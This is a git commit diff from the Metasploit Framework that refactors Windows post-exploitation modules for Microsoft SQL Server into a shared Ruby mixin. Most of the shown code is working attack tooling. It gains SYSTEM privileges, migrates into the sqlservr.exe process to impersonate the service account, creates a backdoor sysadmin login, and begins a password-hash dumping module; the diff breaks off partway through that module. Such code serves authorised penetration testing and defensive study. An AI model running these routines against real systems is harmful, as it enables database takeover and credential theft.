Refactor MSSQL Post
parent
1558190a9d
commit
e2af15a0df
|
@ -0,0 +1,156 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Windows
|
||||||
|
|
||||||
|
module MSSQL
|
||||||
|
|
||||||
|
attr_accessor :sql_client
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL_COMMANDS
|
||||||
|
include Msf::Post::Windows::Services
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
## ----------------------------------------------
|
||||||
|
## Method to check if the SQL Server service is running
|
||||||
|
## ----------------------------------------------
|
||||||
|
def check_for_sqlserver(instance=nil)
|
||||||
|
target_service = nil
|
||||||
|
each_service do |service|
|
||||||
|
unless instance.to_s.strip.empty?
|
||||||
|
if service[:display].downcase.include?(instance.downcase)
|
||||||
|
target_service = service
|
||||||
|
break
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# Target default instance
|
||||||
|
if service[:display] =~ /SQL Server \(| MSSQLSERVER/i
|
||||||
|
target_service = service
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if target_service
|
||||||
|
target_service.merge!(service_info(target_service[:name]))
|
||||||
|
end
|
||||||
|
|
||||||
|
return target_service
|
||||||
|
end
|
||||||
|
|
||||||
|
## ----------------------------------------------
|
||||||
|
## Method for identifying which SQL client to use
|
||||||
|
## ----------------------------------------------
|
||||||
|
def get_sql_client
|
||||||
|
client = nil
|
||||||
|
|
||||||
|
if check_sqlcmd
|
||||||
|
client = 'sqlcmd'
|
||||||
|
elsif check_osql
|
||||||
|
client = 'osql'
|
||||||
|
end
|
||||||
|
|
||||||
|
@sql_client = client
|
||||||
|
return client
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_osql
|
||||||
|
running_services1 = run_cmd("osql -?")
|
||||||
|
services_array1 = running_services1.split("\n")
|
||||||
|
return services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_sqlcmd
|
||||||
|
running_services = run_cmd("sqlcmd -?")
|
||||||
|
services_array = running_services.split("\n")
|
||||||
|
services_array.each do |service|
|
||||||
|
if service =~ /SQL Server Command Line Tool/
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_sql(query, instance=nil, server='.')
|
||||||
|
target = server
|
||||||
|
if instance && instance.downcase != 'mssqlserver'
|
||||||
|
target = "#{server}\\#{instance}"
|
||||||
|
end
|
||||||
|
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||||
|
vprint_status(cmd)
|
||||||
|
run_cmd(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
## ----------------------------------------------
|
||||||
|
## Method for executing cmd and returning the response
|
||||||
|
##
|
||||||
|
## Note: This is from one of Jabra's modules - Thanks man!
|
||||||
|
## Note: This craps out when escalating from local admin to system
|
||||||
|
## I assume it has something to do with the token, but don't
|
||||||
|
## really know.
|
||||||
|
##----------------------------------------------
|
||||||
|
def run_cmd(cmd, token=true)
|
||||||
|
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
||||||
|
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||||
|
res = ""
|
||||||
|
while (d = process.channel.read)
|
||||||
|
break if d == ""
|
||||||
|
res << d
|
||||||
|
end
|
||||||
|
process.channel.close
|
||||||
|
process.close
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
## ----------------------------------------------
|
||||||
|
## Method for impersonating sql server instance
|
||||||
|
## ----------------------------------------------
|
||||||
|
def impersonate_sql_user(service)
|
||||||
|
pid = service[:pid]
|
||||||
|
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||||
|
|
||||||
|
# Attempt to migrate to target sqlservr.exe process
|
||||||
|
# Migrating works, but I can't rev2self after its complete
|
||||||
|
print_warning("Attempting to migrate to process #{pid}...")
|
||||||
|
begin
|
||||||
|
session.core.migrate(pid)
|
||||||
|
rescue Rex::RuntimeError => e
|
||||||
|
print_error(e.to_s)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||||
|
print_good("Successfully migrated to sqlservr.exe process #{pid}")
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
## ----------------------------------------------
|
||||||
|
## Method to become SYSTEM if required
|
||||||
|
## Note: This is from one of Jabra's modules.
|
||||||
|
## ----------------------------------------------
|
||||||
|
def get_system
|
||||||
|
print_status("Checking if user is SYSTEM...")
|
||||||
|
|
||||||
|
if is_system?
|
||||||
|
print_good("User is SYSTEM")
|
||||||
|
else
|
||||||
|
# Attempt to get LocalSystem privileges
|
||||||
|
print_warning("Attempting to get SYSTEM privileges...")
|
||||||
|
system_status = session.priv.getsystem
|
||||||
|
if system_status && system_status.first
|
||||||
|
print_good("Success, user is now SYSTEM")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Unable to obtained SYSTEM privileges")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end # MSSQL
|
||||||
|
end # Windows
|
||||||
|
end # Post
|
||||||
|
end # Msf
|
|
@ -5,10 +5,13 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
require 'msf/core/post/windows/mssql'
|
||||||
|
load '/home/ben/git/metasploit-framework/lib/msf/core/post/windows/mssql.rb'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Windows::MSSQL
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
||||||
|
@ -35,440 +38,113 @@ class Metasploit3 < Msf::Post
|
||||||
[
|
[
|
||||||
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
||||||
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
||||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
|
||||||
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
|
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
# Set verbosity level
|
|
||||||
verbose = datastore['VERBOSE'].to_s.downcase
|
|
||||||
|
|
||||||
# Set instance name (if specified)
|
# Set instance name (if specified)
|
||||||
instance = datastore['INSTANCE'].to_s.upcase
|
instance = datastore['INSTANCE'].to_s
|
||||||
|
|
||||||
# Display target
|
# Display target
|
||||||
print_status("Running module against #{sysinfo['Computer']}")
|
print_status("Running module against #{sysinfo['Computer']}")
|
||||||
|
|
||||||
|
# Identify available native SQL client
|
||||||
|
get_sql_client
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||||
|
|
||||||
# Get LocalSystem privileges
|
# Get LocalSystem privileges
|
||||||
system_status = givemesystem
|
system_status = get_system
|
||||||
if system_status[0]
|
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||||
|
|
||||||
# Check if a SQL Server service is running
|
service = check_for_sqlserver(instance)
|
||||||
service_instance = check_for_sqlserver(instance)
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||||
if service_instance != 0
|
|
||||||
|
|
||||||
# Identify available native SQL client
|
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||||
sql_client = get_sql_client()
|
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||||
if sql_client != 0
|
|
||||||
|
|
||||||
# Check if remove_login was selected
|
if datastore['REMOVE_LOGIN']
|
||||||
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
|
remove_login(service, instance_name)
|
||||||
|
|
||||||
# Add new login
|
|
||||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
if add_login_status == 1
|
|
||||||
|
|
||||||
# Add login to sysadmin fixed server role
|
|
||||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
else
|
|
||||||
|
|
||||||
if add_login_status != "userexists" then
|
|
||||||
|
|
||||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
|
||||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
|
||||||
if impersonate_status == 1
|
|
||||||
|
|
||||||
# Add new login
|
|
||||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
if add_login_status == 1
|
|
||||||
|
|
||||||
# Add login to sysadmin fixed server role
|
|
||||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
|
||||||
|
|
||||||
# Remove login
|
|
||||||
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
|
||||||
if remove_status == 0
|
|
||||||
|
|
||||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
|
||||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
|
||||||
if impersonate_status == 1
|
|
||||||
|
|
||||||
# Remove login
|
|
||||||
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
print_error("Could not obtain LocalSystem privileges")
|
add_login(service, instance_name)
|
||||||
end
|
end
|
||||||
|
|
||||||
# return to original priv context
|
# attempt to return to original priv context
|
||||||
session.sys.config.revert_to_self
|
session.sys.config.revert_to_self
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def add_login(service, instance_name)
|
||||||
|
begin
|
||||||
|
add_login_status = add_sql_login(datastore['DB_USERNAME'],
|
||||||
|
datastore['DB_PASSWORD'],
|
||||||
|
instance_name)
|
||||||
|
|
||||||
## ----------------------------------------------
|
unless add_login_status
|
||||||
## Method to check if the SQL Server service is running
|
raise RuntimeError, "Retry"
|
||||||
## ----------------------------------------------
|
end
|
||||||
def check_for_sqlserver(instance)
|
rescue RuntimeError => e
|
||||||
|
if e.message == "Retry"
|
||||||
print_status("Checking for SQL Server...")
|
retry if impersonate_sql_user(service)
|
||||||
|
|
||||||
# Get Data
|
|
||||||
running_services = run_cmd("net start")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
services_array = running_services.split("\n")
|
|
||||||
|
|
||||||
# Check for the SQL Server service
|
|
||||||
services_array.each do |service|
|
|
||||||
if instance == "" then
|
|
||||||
# Target default instance
|
|
||||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
|
||||||
|
|
||||||
# Display results
|
|
||||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
|
||||||
print_good("SQL Server instance found: #{service_instance}")
|
|
||||||
return service_instance
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
|
raise $!
|
||||||
# Target user defined instance
|
|
||||||
if service =~ /#{instance}/ then
|
|
||||||
|
|
||||||
# Display user defined instance
|
|
||||||
print_good("SQL Server instance found: #{instance}")
|
|
||||||
return instance
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Fail
|
|
||||||
if instance == "" then
|
|
||||||
print_error("SQL Server instance NOT found")
|
|
||||||
else
|
|
||||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
|
||||||
end
|
|
||||||
return 0
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def remove_login(service, instance_name)
|
||||||
|
begin
|
||||||
|
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
|
||||||
|
|
||||||
## ----------------------------------------------
|
unless remove_status
|
||||||
## Method for identifying which SQL client to use
|
raise RuntimeError, "Retry"
|
||||||
## ----------------------------------------------
|
end
|
||||||
def get_sql_client
|
rescue RuntimeError => e
|
||||||
|
if e.message == "Retry"
|
||||||
print_status("Checking for native client...")
|
retry if impersonate_sql_user(service)
|
||||||
|
else
|
||||||
# Get Data - osql
|
raise $!
|
||||||
running_services1 = run_cmd("osql -?")
|
|
||||||
|
|
||||||
# Parse Data - osql
|
|
||||||
services_array1 = running_services1.split("\n")
|
|
||||||
|
|
||||||
# Check for osql
|
|
||||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
|
||||||
print_good("OSQL client was found")
|
|
||||||
return "osql"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get Data - sqlcmd
|
|
||||||
running_services = run_cmd("sqlcmd -?")
|
|
||||||
|
|
||||||
# Parse Data - sqlcmd
|
|
||||||
services_array = running_services.split("\n")
|
|
||||||
|
|
||||||
# Check for SQLCMD
|
|
||||||
services_array.each do |service|
|
|
||||||
if service =~ /SQL Server Command Line Tool/ then
|
|
||||||
print_good("SQLCMD client was found")
|
|
||||||
return "sqlcmd"
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Fail
|
|
||||||
print_error("No native SQL client was found")
|
|
||||||
return 0
|
|
||||||
end
|
end
|
||||||
|
|
||||||
## ----------------------------------------------
|
def add_sql_login(dbuser, dbpass, instance)
|
||||||
## Method for adding a login
|
print_status("Attempting to add new login \"#{dbuser}\"...")
|
||||||
## ----------------------------------------------
|
query = mssql_sa_escalation(username: dbuser, password: dbpass)
|
||||||
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to add new login #{dbuser}...")
|
|
||||||
|
|
||||||
# Setup command format to accomidate version inconsistencies
|
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "MSSQLSERVER" then
|
|
||||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
# Get Data
|
||||||
add_login_result = run_cmd("#{sqlcommand}")
|
add_login_result = run_sql(query, instance)
|
||||||
|
|
||||||
# Parse Data
|
case add_login_result
|
||||||
add_login_array = add_login_result.split("\n")
|
when '', /new login created/i
|
||||||
|
|
||||||
# Check if user exists
|
|
||||||
add_login_array.each do |service|
|
|
||||||
|
|
||||||
if service =~ /already exists/ then
|
|
||||||
print_error("Unable to add login #{dbuser}, user already exists")
|
|
||||||
return "userexists"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# check for success/fail
|
|
||||||
if add_login_result.empty? or add_login_result =~ /New login created./
|
|
||||||
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
||||||
return 1
|
return true
|
||||||
|
when /already exists/i
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
|
||||||
|
when /password validation failed/i
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
|
||||||
else
|
else
|
||||||
print_error("Unable to add login #{dbuser}")
|
print_error("Unable to add login #{dbuser}")
|
||||||
print_error("Database Error:\n #{add_login_result}")
|
print_error("Database Error:\n #{add_login_result}")
|
||||||
return 0
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def remove_sql_login(dbuser, instance_name)
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for adding a login to sysadmin role
|
|
||||||
## ----------------------------------------------
|
|
||||||
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to make #{dbuser} login a sysadmin...")
|
|
||||||
|
|
||||||
# Setup command format to accomidate command inconsistencies
|
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "MSSQLSERVER" then
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
|
|
||||||
begin select 'bingo' end \""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
add_sysadmin_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
add_sysadmin_array = add_sysadmin_result.split("\n")
|
|
||||||
|
|
||||||
# Check for success
|
|
||||||
check = 0
|
|
||||||
add_sysadmin_array.each do |service|
|
|
||||||
if service =~ /bingo/ then
|
|
||||||
check = 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display results to user
|
|
||||||
if check == 1
|
|
||||||
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
# Fail
|
|
||||||
print_error("Unabled to add #{dbuser} to sysadmin role")
|
|
||||||
print_error("Database Error:\n\n #{add_sysadmin_result}")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for removing login
|
|
||||||
## ----------------------------------------------
|
|
||||||
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to remove login \"#{dbuser}\"")
|
print_status("Attempting to remove login \"#{dbuser}\"")
|
||||||
|
query = "sp_droplogin '#{dbuser}'"
|
||||||
|
|
||||||
# Setup command format to accomidate command inconsistencies
|
remove_login_result = run_sql(query, instance_name)
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "SQLEXPRESS" then
|
|
||||||
# Set command here for SQLEXPRESS
|
|
||||||
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
# Set command here
|
|
||||||
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Settings:") if verbose == "true"
|
|
||||||
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
|
|
||||||
print_status(" o User: #{dbuser}") if verbose == "true"
|
|
||||||
print_status(" o Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
print_status(" o User defined instance: #{instance}") if verbose == "true"
|
|
||||||
print_status("Command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
remove_login_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
remove_login_array = remove_login_result.split("\n")
|
|
||||||
|
|
||||||
# Check for success
|
|
||||||
check = 0
|
|
||||||
remove_login_array.each do |service|
|
|
||||||
if service =~ // then
|
|
||||||
check = 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display result
|
# Display result
|
||||||
if check == 0
|
if remove_login_result.empty?
|
||||||
print_good("Successfully removed login \"#{dbuser}\"")
|
print_good("Successfully removed login \"#{dbuser}\"")
|
||||||
return 1
|
return true
|
||||||
else
|
else
|
||||||
# Fail
|
# Fail
|
||||||
print_error("Unabled to remove login #{dbuser}")
|
print_error("Unabled to remove login #{dbuser}")
|
||||||
print_error("Database Error:\n\n #{remove_login_result}")
|
print_error("Database Error:\n\n #{remove_login_result}")
|
||||||
return 0
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for executing cmd and returning the response
|
|
||||||
##
|
|
||||||
## Note: This is from one of Jabra's modules - Thanks man!
|
|
||||||
## Note: This craps out when escalating from local admin to system
|
|
||||||
## I assume it has something to do with the token, but don't
|
|
||||||
## really know.
|
|
||||||
##----------------------------------------------
|
|
||||||
def run_cmd(cmd,token=true)
|
|
||||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
|
||||||
process = session.sys.process.execute(cmd, nil, opts)
|
|
||||||
res = ""
|
|
||||||
while (d = process.channel.read)
|
|
||||||
break if d == ""
|
|
||||||
res << d
|
|
||||||
end
|
|
||||||
process.channel.close
|
|
||||||
process.close
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for impersonating sql server instance
|
|
||||||
## ----------------------------------------------
|
|
||||||
def impersonate_sql_user(service_instance,verbose)
|
|
||||||
|
|
||||||
# Print the current user
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
|
|
||||||
# Define target user/pid
|
|
||||||
targetuser = ""
|
|
||||||
targetpid = ""
|
|
||||||
|
|
||||||
# Identify SQL Server service processes
|
|
||||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
|
||||||
session.sys.process.get_processes().each do |x|
|
|
||||||
|
|
||||||
# Search for all sqlservr.exe processes
|
|
||||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
|
||||||
|
|
||||||
# Found one
|
|
||||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
|
||||||
|
|
||||||
# Define target pid / user
|
|
||||||
if x['user'] =~ /NT SERVICE/ then
|
|
||||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
|
||||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
else
|
|
||||||
targetuser = x['user']
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Attempt to migrate to target sqlservr.exe process
|
|
||||||
if targetuser == "" then
|
|
||||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
|
||||||
return 0
|
|
||||||
else
|
|
||||||
begin
|
|
||||||
# Migrating works, but I can't rev2self after its complete
|
|
||||||
print_status("Attempting to migrate to process #{targetpid}...")
|
|
||||||
session.core.migrate(targetpid.to_i)
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
|
||||||
return 1
|
|
||||||
rescue
|
|
||||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method to become SYSTEM if required
|
|
||||||
## Note: This is from one of Jabra's modules.
|
|
||||||
## ----------------------------------------------
|
|
||||||
def givemesystem
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
print_status("Checking if user is SYSTEM...")
|
|
||||||
|
|
||||||
# Check if user is system
|
|
||||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
|
||||||
print_good("User is SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
# Attempt to get LocalSystem privileges
|
|
||||||
print_error("User is NOT SYSTEM")
|
|
||||||
print_status("Attempting to get SYSTEM privileges...")
|
|
||||||
system_status = session.priv.getsystem
|
|
||||||
if system_status[0]
|
|
||||||
print_good("Success!, user is now SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
print_error("Unable to obtained SYSTEM privileges")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,17 +6,12 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'msf/core/auxiliary/report'
|
require 'msf/core/auxiliary/report'
|
||||||
require 'rex/proto/rfb'
|
require 'msf/core/post/windows/mssql'
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Post::Windows::UserProfiles
|
include Msf::Post::Windows::MSSQL
|
||||||
|
|
||||||
VERSION_5 = Gem::Version.new('5.0')
|
|
||||||
VERSION_6 = Gem::Version.new('6.0')
|
|
||||||
VERSION_8 = Gem::Version.new('8.0')
|
|
||||||
VERSION_9 = Gem::Version.new('9.0')
|
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
|
@ -33,249 +28,105 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
# Set verbosity level
|
|
||||||
verbose = datastore['VERBOSE'].to_s.downcase
|
|
||||||
|
|
||||||
# Set instance name (if specified)
|
# Set instance name (if specified)
|
||||||
instance = datastore['INSTANCE'].to_s.upcase
|
instance = datastore['INSTANCE'].to_s
|
||||||
|
|
||||||
# Display target
|
# Display target
|
||||||
print_status("Running module against #{sysinfo['Computer']}")
|
print_status("Running module against #{sysinfo['Computer']}")
|
||||||
|
|
||||||
|
# Identify available native SQL client
|
||||||
|
get_sql_client
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||||
|
|
||||||
# Get LocalSystem privileges
|
# Get LocalSystem privileges
|
||||||
system_status = givemesystem
|
system_status = get_system
|
||||||
if system_status[0]
|
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||||
|
|
||||||
# Check if a SQL Server service is running
|
service = check_for_sqlserver(instance)
|
||||||
service_instance = check_for_sqlserver(instance)
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||||
if service_instance != 0
|
|
||||||
|
|
||||||
# Identify available native SQL client
|
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||||
sql_client = get_sql_client()
|
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||||
if sql_client != 0
|
|
||||||
|
|
||||||
# Get Password Hashes
|
begin
|
||||||
add_sql_status = get_sql_hash(sql_client,instance,service_instance,verbose)
|
get_sql_hash(instance_name)
|
||||||
|
rescue RuntimeError
|
||||||
# If Fail
|
# Attempt to impersonate sql server service account (for sql server 2012)
|
||||||
if add_sql_status == 0
|
if impersonate_sql_user(service)
|
||||||
|
get_sql_hash(instance_name)
|
||||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
|
||||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
|
||||||
if impersonate_status == 1
|
|
||||||
|
|
||||||
# Get Password Hashes
|
|
||||||
